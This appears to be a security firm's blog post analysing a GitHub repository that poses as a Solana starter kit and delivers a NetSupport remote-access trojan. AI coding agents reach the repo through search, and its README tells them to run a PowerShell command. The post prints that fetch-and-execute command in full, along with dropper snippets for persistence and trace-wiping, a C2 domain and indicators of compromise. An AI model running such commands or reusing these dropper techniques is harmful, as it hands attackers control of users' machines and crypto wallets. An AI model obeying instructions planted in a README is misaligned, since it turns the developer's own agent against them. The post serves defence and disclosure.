Air Security describes

AIR Research Lab discovered malware in the wild that targets AI agents creating crypto wallets. A GitHub repository posing as a Solana starter kit, which ranks as the top result when an agent searches for one, contains malware that gives an attacker remote control of the victim's machine, including the crypto wallets on it.

Malware operators are adapting to a new attack surface: AI coding agents. The malware and techniques aren't necessarily new, but the path to the victim is. Instead of convincing a developer to download and execute malicious software, attackers are now targeting the AI agents that developers trust to the web, discover dependencies, and set up their projects.

This creates a new attack vector where malicious content can turn an agent's legitimate workflow into a malware delivery mechanism. The developer may never inspect the repository or the commands being executed, trusting the agent to make those decisions.

The solana-starter-kit repository is a real-world example of this shift: an attacker repackaging an established remote-access malware technique for the age of AI coding agents.

The Attack Chain at a Glance

A developer asks their AI coding agent to build a Solana project.

The agent decides to the web for a starter kit.

The agent picks a GitHub repo from the results. SolanaUpdateTools/solana-starter-kit

The README tells the agent to run a malicious command.

A RAT tool is installed controlled by the attacker

The Solana Starter Kit Repo

Repository: github.com/SolanaUpdateTools/solana-starter-kit Created: November 2025 Stars: 286 Self-description: "Open-source Solana dApp template with Anchor program, TypeScript client, and .js UI."

The README's only "installation" step is this PowerShell one-liner:

powershell -Command "$update='developer'; $mode='-upd'; $key='ate'; $file='indicator'; $url=$update+$mode+$key+'.app/update/'+$file; &{ iex ([System.Text.Encoding]::UTF8.GetString((iwr $url -UseBasicParsing).Content)) }"

Reconstructed URL: developer-update.app/update/indicator

The rest is textbook fileless execution: iwr (Invoke-WebRequest) downloads the payload, iex (Invoke-Expression) runs it directly in memory. Nothing touches disk at this delivery stage.

The Payload Delivery & C2

The payload path /update/indicator returned HTTP 404 when we checked it, we recovered the live payload from the Web Archive .

Recovered payload: indicator.ps1

Size: 21,123,011 bytes (~21 MB)

SHA-256: 41902d18fa2c285c0f4a6b39cf0f2eefbc7acbff33b6eb6fc88ba680a201d17d

It's a PowerShell dropper that unpacks 14 embedded files:

What It Does (Step by Step)

1. Creates Hidden Staging Directory

$staging = Join-Path $env:LOCALAPPDATA 'y2inwRnI6G' New-Item -ItemType Directory $staging -Force | Out-Null (Get-Item $staging).Attributes = 'Hidden'

2. Drops 14 Files from Base64 Blobs

Each file is embedded as base64. The dropper decodes and writes them all:

13 genuine NetSupport Manager components (all signed legitimate software) client32.exe (34 KB launcher) PCICL32.DLL (3.7 MB remote-access engine) HTCTL32.DLL , TCCTL32.DLL , PCICHEK.DLL , pcicapi.dll (transport & control) AudioCapture.dll (audio recording) remcmdstub.exe (remote command shell) msvcr100.dll (Microsoft C++ runtime) NSM.LIC , nsm_vpro.ini , nskbfltr.inf (configuration & driver installer)

client32.exe (34 KB launcher)

PCICL32.DLL (3.7 MB remote-access engine)

HTCTL32.DLL , TCCTL32.DLL , PCICHEK.DLL , pcicapi.dll (transport & control)

AudioCapture.dll (audio recording)

remcmdstub.exe (remote command shell)

msvcr100.dll (Microsoft C++ runtime)

NSM.LIC , nsm_vpro.ini , nskbfltr.inf (configuration & driver installer)

1 attacker-supplied config file ( client32.ini ) Specifies C2 server: maxwintodaybtc.com:443 Disables all user-facing UI (no chat, no messages, no disconnect button) Accepts any operator from any IP address Sets heartbeat to 60 seconds

Specifies C2 server: maxwintodaybtc.com:443

Disables all user-facing UI (no chat, no messages, no disconnect button)

Accepts any operator from any IP address

Sets heartbeat to 60 seconds

3. Establishes Persistence

Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' ` -Name 'SecureModule' -Value "$staging\client32.exe" -Force

At every user login, Windows automatically launches client32.exe . No user interaction required.

Start-Sleep -Seconds 10 $shell = New-Object -ComObject Shell.Application $shell.ShellExecute("$staging\client32.exe", $null, $staging, 'open', 1)

Using ShellExecute to launch the NetSupport client.

Remove-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' ` -Name * -ErrorAction SilentlyContinue Remove-Item $MyInvocation.MyCommand.Path -Force

Clears the run history and deletes the PowerShell script itself, leaving minimal traces.

What NetSupport Manager Actually Does

NetSupport Manager is a legitimate, commercial remote-access and support tool used by IT teams worldwide. In its normal use, it provides:

Screen sharing (view and control the victim's display)

Keyboard/mouse control (operator types/clicks on victim's machine)

File transfer (upload/download files)

Remote command execution (spawn a shell and run arbitrary commands)

Audio recording (capture system audio)

Registry access (read/modify Windows registry)

User enumeration (list local accounts and permissions)

The attacker didn't write any of this. They simply:

Took genuine, legitimately-signed NetSupport Manager binaries (v12.10)

Created a custom config file ( client32.ini ) pointing the C2 to maxwintodaybtc.com:443

Disabled all user-facing warnings and disconnect options

Embedded everything in the PowerShell dropper

Distributed it through a GitHub repository

The Configuration File

The attacker's client32.ini (the only attacker-supplied file):

The operator isn't new. The RADIUSSecret in this sample's client32.ini , dgAAAPpMkI7ke494fKEQRUoablcA , is the same value eSentire uses to identify EVALUSION, the most active of the NetSupport clusters it tracks in ClickFix campaigns . That cluster spreads its infrastructure across many countries and uses a range of loaders, including PowerShell loaders that wipe the RunMRU history, as this one does.

The install command isn't new either. In October 2025, Fortian documented a campaign that lured traders with fake TradingView "AI signal" videos pointing to a GitHub repo (`TradingViewGit/developer-features`). Its one-liner is built the same way, down to the variable names: $update , $mode , $key and $file concatenated into .app/update/ , fetched with iwr and run with iex . There it pointed to `betasignaltradingviewai.app/update/earlyaccessuser`; here it points to `developer-update.app/update/indicator` ( the same campaign on Medium ).

Then the operator moved on. `developer-update.app` was registered on October 20, 2025, the Solana repo followed in November, and the payload we recovered was archived on November 22. Same playbook, new audience: first traders, then developers, and now the AI agents working for them .

Malware operators are now targeting AI coding agents In Web Hole, we demonstrated how attackers could exploit agents browsing the open web. This case shows that established malware operators are already adapting their campaigns to target AI coding agents. The same NetSupport playbook previously used against traders was repurposed to compromise developers through their agents.

Attackers can use results to get malicious repositories selected by agents The malicious repository appeared as the top result, had 286 stars, and included a convincing description. This made it a likely choice for an agent searching for a starter kit. The attacker didn't need to compromise a legitimate repository or convince the developer to run anything. Getting the agent to select and follow the malicious repository was enough.

Security controls must understand what agents read and execute As coding agents independently select repositories, interpret documentation, and execute commands, developers may never see the instructions driving those actions. Security controls need visibility into the agent's context and actions, distinguishing legitimate task instructions from malicious instructions embedded in untrusted content.

Frequently Asked Questions

Which AI agents are at risk?

Any coding agent that can the web and run shell commands, which describes most of them today. The command in this repo is PowerShell, so this payload only infects Windows machines, but the technique works the same way against any operating system.

How do I know if my machine was infected?

Look for a hidden folder named y2inwRnI6G under %LOCALAPPDATA%, a SecureModule value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, a client32.exe process running from that folder, or outbound connections to maxwintodaybtc.com:443. If you find any of these, disconnect the machine from the network, remove the folder and the Run key, and rotate every credential, token and crypto wallet key that was on it.

How do I protect my agents?

Treat everything an agent reads as untrusted input, including results, READMEs and docs, and vet it before it reaches the agent's context. Don't let agents run commands that download and execute remote code (iwr | iex, curl | sh) without review, and don't auto-approve installs from sources you haven't checked.

Is the attack still active?

The payload URL (developer-update.app/update/indicator) was offline when we checked, and we recovered the payload from the Web Archive. The operator behind it has run the same playbook against traders before and keeps changing lures, so expect new repos and domains rather than this one coming back.

Web Hole: Agents searching the internet hijacked by malicious websites

Agents trust the top result. We found abandoned websites sitting in those results. Any attacker can register one, exploit the agents that read it, and run code on their machines.

Your Skills Still Use Vulnerable PHP2Shell Libraries

Your AI agent might still be using vulnerable PHP - because the skills you’ve given it point to outdated libraries, and you have no mechanism to keep them updated.
